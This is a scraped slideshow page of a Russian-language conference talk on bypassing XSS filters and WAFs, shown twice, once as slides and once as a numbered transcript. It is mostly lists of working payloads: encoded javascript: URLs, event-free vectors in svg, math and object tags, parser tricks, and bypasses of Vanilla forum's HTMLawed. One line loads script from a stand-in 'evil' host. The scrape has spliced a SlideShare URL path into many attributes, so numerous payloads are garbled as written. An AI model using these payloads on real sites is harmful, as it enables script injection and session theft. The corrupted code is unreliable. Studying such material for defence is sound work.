ݺߣ

ݺߣShare a Scribd company logo
XSS. Обходы
фильтров и защит.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a
Ты – один, а событий браузера много, найди их все!
Часто пропускают события вида onplay и другие, которые были
введены в HTML5.
Внедрить собственный сценарий с внешнего сайта - победа
Импорт другой страницы
<link rel=“import” href=“//mysite”>
Переопределение базового адреса текущего документа
<base href=“//mysite”>
Все относительные ссылки после вызова base будут
вызываться из указанного источника.
• Что попадает в атрибуты можно преобразовать в другое
представление символов – HTML сущности (мнемоники)
Например:
<a href=/slideshow/xss-82563223/82563223/“javascript&colon;alert()”>
&colon; &#x3A; &#58;
Некоторые entities игнорируются вовсе
Табуляция &Tab; &#09;
Перенос строки &NewLine; &#x0A; &#10;
<iframe src=/slideshow/xss-82563223/82563223/“jav
Ascr&Tab;ipt&colon;alert()”></iframe>
Перед шестнадцатеричными и десятичными сущностями могут
быть нули.
А перед &#0-9; вовсе и не быть нулей
Например &#9; - валидная табуляция
А еще точка с запятой не обязательна, если следующий
после entity символ не входит в его группу символов 
<iframe src=/slideshow/xss-82563223/82563223/"j av&NewLine;a
s&#10;cri&#9pt&#x00000000000003A;alert()"></iframe>
https://jsfiddle.net/7ercn8zh/
И как я уже говорил, во всех атрибутах
<a
href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z
wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a>
Это ссылка на google.com
В протоколе data не обязательно указывать тип контента
<script src=data:,alert()>
Для выполнения функции не обязательно использовать скобки!
… И точку
… И знак равно
… И буквы вообще
document.cookie == document[‘cookie’]
document[‘location’]=javascript:alert()
Точки не нужны
• Его можно использовать для вызова функций
<script>alert`1`</script>
• Его можно использовать для передачи строки
document[`cookie`]
• Им можно «вырезать» неугодные нам части при двух уязвимых
параметрах, или если наши данные вставляются 2 раза.
Бэктик – твой лучший друг
document.documentElement.innerHTML=location.hash
(пишем на страницу данные после # в ссылке)
https://example.com/page.html#<script>alert()</script>
Отлично работают в паре
Все что между /слэшами/ - регулярное выражение
alert(/1/)
Добавление к регулярному выражению .source – возвращает
оригинальную строку
eval(/alert()/.source)
Обращения в контексте текущего домена не будет заблокировано
хромом
Например если попытаться вызвать <script src=/test.js>
Импорт на импорт
Если в пути у сайта есть XSS, как часто бывает:
"Страницы /<script>alert()</script>/index.html не существует!”
Ты спокойно можешь импортировать xss в текущую страницу
<link rel=import href="/<script>alert()</script>/index.html">
Импорт на импорт
example.com
/<link rel=import href="/<script>alert()</script>/index.html">/index.html
Импорт на импорт
Импортом можно вызывать ранее недоступные нам функции
<link rel=“import” href=“/page.html”>
(страница, где подключается jquery)
=>
<svg onload=$.GetScript(‘//evil’)>
Загруженный файл (например, изображение) может быть
интерпретирован как js*
Но еще круче, любой загруженный файл может быть
интерпретирован как html
?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
Внутри строк js тоже много фич, например перевод символов в
другие представления (x22, u0022), неявные вызовы функций
• http://utf-8.jp/public/jjencode.html
Вызов функции с помощью кучи спецсимволов))
• https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
Вызов функции с помощью символов [+|>]
• http://www.jsfuck.com/
Вызов функции с помощью символов ()+[]!
Ну и прочая наркомания
• onerror=eval;throw'=alertx281x29’
• toString=alert;window+''
• setTimeout`confirmu0028document.domainx29`
• set.constructor`alertx28document.domainx29```
XSS. Обходы фильтров и защит.
Где можно встретить HTML фильтры?
• WYSIWYG редакторы
• WAFы
• WEB почта
• И ещё где-нибудь в интернете
Какие бывают фильтры?
• Чёрный список
<randomtag onevent="test">randomtag</randomtag>
<randomtag>randomtag text</randomtag> Randomtag text
HTML code
• Белый список
<randomtag onevent="test">randomtag text</randomtag>
Фаззинг HTML
• Фильтр по чёрному списку
- Фаззим атрибуты событий если пропустило onevent
- Фаззим XSS вектора без событий
- Фаззим HTML теги
- Фаззим HTML теги и особенности их фильтрации
• Фильтр по белому списку
- Фаззим XSS вектора без событий
- Фаззим HTML теги и особенности их фильтрации
XSS вектора без событий
<!-- <a> -->
Атрибут href
<a href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</a>
<a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a>
<!-- <base> -->
Атрибут href
<base href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">
<a href="#">click</a>
</base>
<!-- <button> -->
Атрибут formaction
<form>
<button formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</button>
</form>
XSS вектора без событий
<!-- <embed> [FireFox only] -->
Атрибут src
<embed src=/slideshow/xss-82563223/82563223//slideshow/xss-82563223/82563223/"javascript:alert(1)"></embed>
<!-- <form> -->
Атрибут action
<form action=/slideshow/xss-82563223/82563223/"javascript:alert(1)">
<button>click</button>
</form>
<!-- <iframe> -->
Атрибут src
<iframe src=/slideshow/xss-82563223/82563223/"javascript:alert(1)"></iframe>
Атрибут srcdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
XSS вектора без событий
<!-- <input> -->
Атрибут formaction
<form>
<input type="submit" formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" value="click" />
<input type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico" formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" />
</form>
<!-- <isindex> [Safari only] -->
Атрибут action
<isindex action=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="submit" value="click"></isindex>
<isindex action=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico"></isindex>
Атрибут formaction
<isindex formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="submit" value="click"></isindex>
<isindex formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico"></isindex>
XSS вектора без событий
<!-- <link> [Chrome only] -->
Атрибут href
<link rel="import" href="data:,<script>alert(1)</script>">
<!-- <math> [FireFox only] -->
Атрибут xml:base
<math xml:base=/slideshow/xss-82563223/82563223/"javascript:alert(1)//">
<mrow href="#">click</mrow>
<mtext>
<iframe src=/slideshow/xss-82563223/82563223/"
</mtext>
</math>
Атрибут xlink:href
<math>
<randomtag xlink:href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</randomtag>
</math>
XSS вектора без событий
<!-- <object> -->
Атрибут data [FireFox only]
<object data=/slideshow/xss-82563223/82563223/"javascript:alert(1)">
+ Тег <param> и аттрибут value
<object allowscriptaccess="always">
<param name=/slideshow/xss-82563223/82563223/"src" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="movie" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="code" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="url" value="https://html5sec.org/test.swf">
</object>
XSS вектора без событий
<!-- <svg> -->
Аттрибут xml:base [FireFox only]
<svg xml:base=/slideshow/xss-82563223/82563223/"javascript:alert(1)//">
<a href="#">
<circle cx="100" cy="75" r="50"></circle>
</a>
<desc>
<iframe src=/slideshow/xss-82563223/82563223/"
</desc>
</svg>
+ Тег <script> и аттрибут xlink:href
<svg>
<script xlink:href="data:,alert(1)"></script>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <a> и аттрибут xlink:href
<svg>
<a xlink:href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</a>
</svg>
+ Тег <use> и аттрибут xlink:href [FireFox only]
<svg>
<use
xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8
yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE
5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw
vc3ZnPg==#svgid" />
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <animate> и аттрибут from
<svg>
<a>
<animate attributeName="href" from=/slideshow/xss-82563223/82563223/"javascript:alert(1)" to="to" dur="100" begin="0"
repeatCount=1 />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
+ Тег <animate> и аттрибут to
<svg>
<a>
<animate attributeName="href" from="" to=/slideshow/xss-82563223/82563223/"javascript:alert(1)" repeatCount="1" />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <set> и аттрибут to
<svg>
<a>
<set attributeName="href" from="" to=/slideshow/xss-82563223/82563223/"javascript:alert(1)" attributeType="XML"/>
<circle cx="100" cy="75" r="50"></circle>
</a>
</svg>
Особенности фильтрации.
Волшебные тэги
Конец
Особенности фильтрации.
<select><option>select</option></select>
<math>math</math>
<svg>svg</svg>
Волшебные теги
<style><test test="<test>">test</test></style>
Волшебный плейнтекст который невозможно закрыть
<plaintext><test test="<test>">test</test>
Коментарии
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<!<test test="<test>">test<!</test>
<?<test test="<test>">test<?</test>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
<title><test test=“<test>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
• XSS вектор:
<title><test test=“<test>”></title>
<title><img alt=“</title><svg/onload=alert(1)>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
- Используем теги math/svg/title
<title><test test=“&lt;test&gt;”></title>
<math>
<title>
<i>
<script>alert(1)</script>
</i>
</title>
</math>
Особенности фильтрации.
<svg>
<title>
<script>alert(2)</script>
</title>
</svg>
<select>
<title>
<script>alert(3)</script>
</title>
</select>
Особенности фильтрации.
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
- Фаззинг свойств CSS
- Применяем теги math/svg/title
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
<style>
body {
%color%:"<test test=test>";
}
</style>
Особенности фильтрации.
• Волшебные теги вернулись отфильтрованными, но содержимое
коментариев нет.
<title>&lt;test test=“&lt;test&gt;”&gt;</title>
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<?<test test="<test>">test<!</test>
Особенности фильтрации.
• Многострочный комментарий внутри волшебного тега внутри
SVG.
• [1] - title, desc, foreignObject
• [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript
<svg>
<title [1]>
<title [2]>
<!--</title></title><script>alert(1)</script>-->
</title>
</title>
</svg>
Особенности фильтрации.
• Секция CDATA в HTML
<![CDATA[<script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
<![CDATA[<script>alert(1)</script>]]>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
• Загадочные комментарии и трюк с волшебными тегами
<![CDATA[<script>alert(1)</script>]]>
<title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Фаззинг вложенных тегов.
• Реальные находки в Vanilla forum (HTMLawed)
- Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">)
XSS вектор:
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>">
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'>
<img src=/slideshow/xss-82563223/82563223/"src" alt="image">"&gt;<br>img alt="<img qwe" src=/slideshow/xss-82563223/82563223/"src">
<img alt="<img onerror=alert(1)//">
Особенности фильтрации.
- Vanilla < 2.2.1 (результат <font color='<img//asd'>)
XSS вектор:
span style="color: <img//asd;">
<font color='<img//onerror="alert(1)"src=/slideshow/xss-82563223/82563223/s&
Подписываемся на
канал, ставим
лайки.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a

More Related Content

XSS. Обходы фильтров и защит.

  • 1. XSS. Обходы фильтров и защит. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a
  • 2. Ты – один, а событий браузера много, найди их все! Часто пропускают события вида onplay и другие, которые были введены в HTML5.
  • 3. Внедрить собственный сценарий с внешнего сайта - победа
  • 4. Импорт другой страницы <link rel=“import” href=“//mysite”>
  • 5. Переопределение базового адреса текущего документа <base href=“//mysite”> Все относительные ссылки после вызова base будут вызываться из указанного источника.
  • 6. • Что попадает в атрибуты можно преобразовать в другое представление символов – HTML сущности (мнемоники)
  • 8. Некоторые entities игнорируются вовсе Табуляция &Tab; &#09; Перенос строки &NewLine; &#x0A; &#10;
  • 10. Перед шестнадцатеричными и десятичными сущностями могут быть нули. А перед &#0-9; вовсе и не быть нулей Например &#9; - валидная табуляция
  • 11. А еще точка с запятой не обязательна, если следующий после entity символ не входит в его группу символов 
  • 13. И как я уже говорил, во всех атрибутах <a href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a> Это ссылка на google.com
  • 14. В протоколе data не обязательно указывать тип контента <script src=data:,alert()>
  • 15. Для выполнения функции не обязательно использовать скобки! … И точку … И знак равно … И буквы вообще
  • 17. • Его можно использовать для вызова функций <script>alert`1`</script> • Его можно использовать для передачи строки document[`cookie`] • Им можно «вырезать» неугодные нам части при двух уязвимых параметрах, или если наши данные вставляются 2 раза. Бэктик – твой лучший друг
  • 18. document.documentElement.innerHTML=location.hash (пишем на страницу данные после # в ссылке) https://example.com/page.html#<script>alert()</script> Отлично работают в паре
  • 19. Все что между /слэшами/ - регулярное выражение alert(/1/) Добавление к регулярному выражению .source – возвращает оригинальную строку eval(/alert()/.source)
  • 20. Обращения в контексте текущего домена не будет заблокировано хромом Например если попытаться вызвать <script src=/test.js> Импорт на импорт
  • 21. Если в пути у сайта есть XSS, как часто бывает: "Страницы /<script>alert()</script>/index.html не существует!” Ты спокойно можешь импортировать xss в текущую страницу <link rel=import href="/<script>alert()</script>/index.html"> Импорт на импорт
  • 23. Импортом можно вызывать ранее недоступные нам функции <link rel=“import” href=“/page.html”> (страница, где подключается jquery) => <svg onload=$.GetScript(‘//evil’)>
  • 24. Загруженный файл (например, изображение) может быть интерпретирован как js* Но еще круче, любой загруженный файл может быть интерпретирован как html ?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
  • 25. Внутри строк js тоже много фич, например перевод символов в другие представления (x22, u0022), неявные вызовы функций
  • 26. • http://utf-8.jp/public/jjencode.html Вызов функции с помощью кучи спецсимволов)) • https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html Вызов функции с помощью символов [+|>] • http://www.jsfuck.com/ Вызов функции с помощью символов ()+[]! Ну и прочая наркомания
  • 27. • onerror=eval;throw'=alertx281x29’ • toString=alert;window+'' • setTimeout`confirmu0028document.domainx29` • set.constructor`alertx28document.domainx29```
  • 29. Где можно встретить HTML фильтры? • WYSIWYG редакторы • WAFы • WEB почта • И ещё где-нибудь в интернете
  • 30. Какие бывают фильтры? • Чёрный список <randomtag onevent="test">randomtag</randomtag> <randomtag>randomtag text</randomtag> Randomtag text HTML code • Белый список <randomtag onevent="test">randomtag text</randomtag>
  • 31. Фаззинг HTML • Фильтр по чёрному списку - Фаззим атрибуты событий если пропустило onevent - Фаззим XSS вектора без событий - Фаззим HTML теги - Фаззим HTML теги и особенности их фильтрации • Фильтр по белому списку - Фаззим XSS вектора без событий - Фаззим HTML теги и особенности их фильтрации
  • 32. XSS вектора без событий <!-- <a> --> Атрибут href <a href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</a> <a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a> <!-- <base> --> Атрибут href <base href=/slideshow/xss-82563223/82563223/"javascript:alert(1)"> <a href="#">click</a> </base> <!-- <button> --> Атрибут formaction <form> <button formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</button> </form>
  • 33. XSS вектора без событий <!-- <embed> [FireFox only] --> Атрибут src <embed src=/slideshow/xss-82563223/82563223//slideshow/xss-82563223/82563223/"javascript:alert(1)"></embed> <!-- <form> --> Атрибут action <form action=/slideshow/xss-82563223/82563223/"javascript:alert(1)"> <button>click</button> </form> <!-- <iframe> --> Атрибут src <iframe src=/slideshow/xss-82563223/82563223/"javascript:alert(1)"></iframe> Атрибут srcdoc <iframe srcdoc="<script>alert(1)</script>"></iframe>
  • 34. XSS вектора без событий <!-- <input> --> Атрибут formaction <form> <input type="submit" formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" value="click" /> <input type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico" formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" /> </form> <!-- <isindex> [Safari only] --> Атрибут action <isindex action=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="submit" value="click"></isindex> <isindex action=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico"></isindex> Атрибут formaction <isindex formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="submit" value="click"></isindex> <isindex formaction=/slideshow/xss-82563223/82563223/"javascript:alert(1)" type="image" src=/slideshow/xss-82563223/82563223/"https:/google.com/favicon1.ico"></isindex>
  • 35. XSS вектора без событий <!-- <link> [Chrome only] --> Атрибут href <link rel="import" href="data:,<script>alert(1)</script>"> <!-- <math> [FireFox only] --> Атрибут xml:base <math xml:base=/slideshow/xss-82563223/82563223/"javascript:alert(1)//"> <mrow href="#">click</mrow> <mtext> <iframe src=/slideshow/xss-82563223/82563223/" </mtext> </math> Атрибут xlink:href <math> <randomtag xlink:href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</randomtag> </math>
  • 36. XSS вектора без событий <!-- <object> --> Атрибут data [FireFox only] <object data=/slideshow/xss-82563223/82563223/"javascript:alert(1)"> + Тег <param> и аттрибут value <object allowscriptaccess="always"> <param name=/slideshow/xss-82563223/82563223/"src" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="movie" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="code" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="url" value="https://html5sec.org/test.swf"> </object>
  • 37. XSS вектора без событий <!-- <svg> --> Аттрибут xml:base [FireFox only] <svg xml:base=/slideshow/xss-82563223/82563223/"javascript:alert(1)//"> <a href="#"> <circle cx="100" cy="75" r="50"></circle> </a> <desc> <iframe src=/slideshow/xss-82563223/82563223/" </desc> </svg> + Тег <script> и аттрибут xlink:href <svg> <script xlink:href="data:,alert(1)"></script> </svg>
  • 38. XSS вектора без событий <!-- <svg> --> + Тег <a> и аттрибут xlink:href <svg> <a xlink:href=/slideshow/xss-82563223/82563223/"javascript:alert(1)">click</a> </svg> + Тег <use> и аттрибут xlink:href [FireFox only] <svg> <use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8 yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE 5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw vc3ZnPg==#svgid" /> </svg>
  • 39. XSS вектора без событий <!-- <svg> --> + Тег <animate> и аттрибут from <svg> <a> <animate attributeName="href" from=/slideshow/xss-82563223/82563223/"javascript:alert(1)" to="to" dur="100" begin="0" repeatCount=1 /> <circle cx="150" cy="100" r=50></circle> </a> </svg> + Тег <animate> и аттрибут to <svg> <a> <animate attributeName="href" from="" to=/slideshow/xss-82563223/82563223/"javascript:alert(1)" repeatCount="1" /> <circle cx="150" cy="100" r=50></circle> </a> </svg>
  • 40. XSS вектора без событий <!-- <svg> --> + Тег <set> и аттрибут to <svg> <a> <set attributeName="href" from="" to=/slideshow/xss-82563223/82563223/"javascript:alert(1)" attributeType="XML"/> <circle cx="100" cy="75" r="50"></circle> </a> </svg>
  • 42. Особенности фильтрации. <select><option>select</option></select> <math>math</math> <svg>svg</svg> Волшебные теги <style><test test="<test>">test</test></style> Волшебный плейнтекст который невозможно закрыть <plaintext><test test="<test>">test</test> Коментарии <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <!<test test="<test>">test<!</test> <?<test test="<test>">test<?</test>
  • 43. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. <title><test test=“<test>”></title>
  • 44. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. • XSS вектор: <title><test test=“<test>”></title> <title><img alt=“</title><svg/onload=alert(1)>”></title>
  • 45. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. <title><test test=“&lt;test&gt;”></title>
  • 46. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты <title><test test=“&lt;test&gt;”></title>
  • 47. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты - Используем теги math/svg/title <title><test test=“&lt;test&gt;”></title> <math> <title> <i> <script>alert(1)</script> </i> </title> </math>
  • 50. Особенности фильтрации. • Парсер CSS <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style>
  • 51. Особенности фильтрации. • Парсер CSS - Фаззинг свойств CSS - Применяем теги math/svg/title <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style> <style> body { %color%:"<test test=test>"; } </style>
  • 52. Особенности фильтрации. • Волшебные теги вернулись отфильтрованными, но содержимое коментариев нет. <title>&lt;test test=“&lt;test&gt;”&gt;</title> <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <?<test test="<test>">test<!</test>
  • 53. Особенности фильтрации. • Многострочный комментарий внутри волшебного тега внутри SVG. • [1] - title, desc, foreignObject • [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript <svg> <title [1]> <title [2]> <!--</title></title><script>alert(1)</script>--> </title> </title> </svg>
  • 54. Особенности фильтрации. • Секция CDATA в HTML <![CDATA[<script>alert(1)</script>]]>
  • 55. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: <![CDATA[<script>alert(1)</script>]]> <![CDATA[><script>alert(1)</script>]]>
  • 56. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: • Загадочные комментарии и трюк с волшебными тегами <![CDATA[<script>alert(1)</script>]]> <title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title> <![CDATA[><script>alert(1)</script>]]>
  • 57. Особенности фильтрации. • Фаззинг вложенных тегов. • Реальные находки в Vanilla forum (HTMLawed) - Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">) XSS вектор: <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>"> <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'> <img src=/slideshow/xss-82563223/82563223/"src" alt="image">"&gt;<br>img alt="<img qwe" src=/slideshow/xss-82563223/82563223/"src"> <img alt="<img onerror=alert(1)//">
  • 58. Особенности фильтрации. - Vanilla < 2.2.1 (результат <font color='<img//asd'>) XSS вектор: span style="color: <img//asd;"> <font color='<img//onerror="alert(1)"src=/slideshow/xss-82563223/82563223/s&
  • 59. Подписываемся на канал, ставим лайки. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a